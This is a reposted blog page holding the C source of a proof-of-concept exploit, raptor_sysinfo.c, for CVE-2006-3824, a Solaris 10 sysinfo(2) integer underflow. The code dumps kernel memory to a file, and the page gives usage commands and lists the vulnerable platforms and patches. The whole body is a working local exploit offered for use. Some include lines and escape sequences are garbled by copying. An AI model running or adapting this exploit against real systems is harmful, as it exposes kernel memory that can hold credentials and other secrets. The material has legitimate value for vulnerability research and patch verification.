Solaris 10 sysinfo(2) Local Kernel Memory Disclosure Exploit

/*
* $Id: raptor_sysinfo.c,v 1.2 2006/08/22 13:47:54 raptor Exp $
*
* raptor_sysinfo.c - Solaris sysinfo(2) kernel memory leak
* Copyright (c) 2006 Marco Ivaldi < raptor@0xdeadbeef.info>
*
* systeminfo.c for Sun Solaris allows local users to read kernel memory via
* a 0 variable count argument to the sysinfo system call, which causes a -1
* argument to be used by the copyout function. NOTE: this issue has been
* referred to as an integer overflow, but it is probably more like a
* signedness error or integer underflow (CVE-2006-3824).
*
* http://en.wikipedia.org/wiki/Pitagora_Suicchi
*
* Greets to prdelka, who also exploited this vulnerability.
*
* I should also definitely investigate the old sysinfo(2) vulnerability
* described in CVE-2003-1062, affecting Solaris/SPARC 2.6 through 9 and
* Solaris/x86 2.6 through 8... It may come in handy sooner or later;)
*
* Usage:
* $ gcc raptor_sysinfo.c -o raptor_sysinfo -Wall
* $ ./raptor_sysinfo kerndump 666666
* [...]
* $ ls -l kerndump
* -rwx------ 1 raptor other 666666 Aug 22 14:41 kerndump
*
* Vulnerable platforms (SPARC):
* Solaris 10 without patch 118833-09 [tested]
*
* Vulnerable platforms (x86):
* Solaris 10 without patch 118855-06 [untested]
*/[@more@]

#include
#include
#include
#include
#include
#include
#include

#define INFO1 "raptor_sysinfo.c - Solaris sysinfo(2) kernel memory leak"
#define INFO2 "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define BUFSIZE 536870911

int errno;

int main(int argc, char **argv)
{
int fd;
size_t out, bufsize = BUFSIZE;
char *buf;

/* print exploit information */
fprintf(stderr, "%sn%snn", INFO1, INFO2);

/* read command line */
if (argc < 2) {
fprintf(stderr, "usage: %s outfile [outsize]nn", argv[0]);
exit(1);
}
if (argc > 2)
if ((bufsize = atoi(argv[2])) == 0) {
fprintf(stderr, "Error (atoi): invalid outsizen");
exit(1);
}

/* print some output */
fprintf(stderr, "Using outfilet: %sn", argv[1]);
fprintf(stderr, "Using outsizet: %unn", bufsize);

/* prepare the output buffer */
if ((buf = (char *)malloc(bufsize)) == NULL) {
perror("Error (malloc)");
fprintf(stderr, "Hint: Try again with a smaller output sizen");
exit(1);
}
memset(buf, 0, bufsize);

/* Pitagora Suicchi! */
sysinfo(SI_SYSNAME, buf, 0);

/* save output to outfile */
if ((fd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0700)) < 0) {
perror("Error (open)");
free(buf);
exit(1);
}
out = write(fd, buf, bufsize);
fprintf(stderr, "Pitagora Suicchi! %u bytes written to %sn", out, argv[1]);
fprintf(stderr, "Hint: Try also with a bigger output sizen");

close(fd);
free(buf);

exit(0);
}

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/83980/viewspace-859616/,如需转载,请注明出处,否则将追究法律责任。

转载于:http://blog.itpub.net/83980/viewspace-859616/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值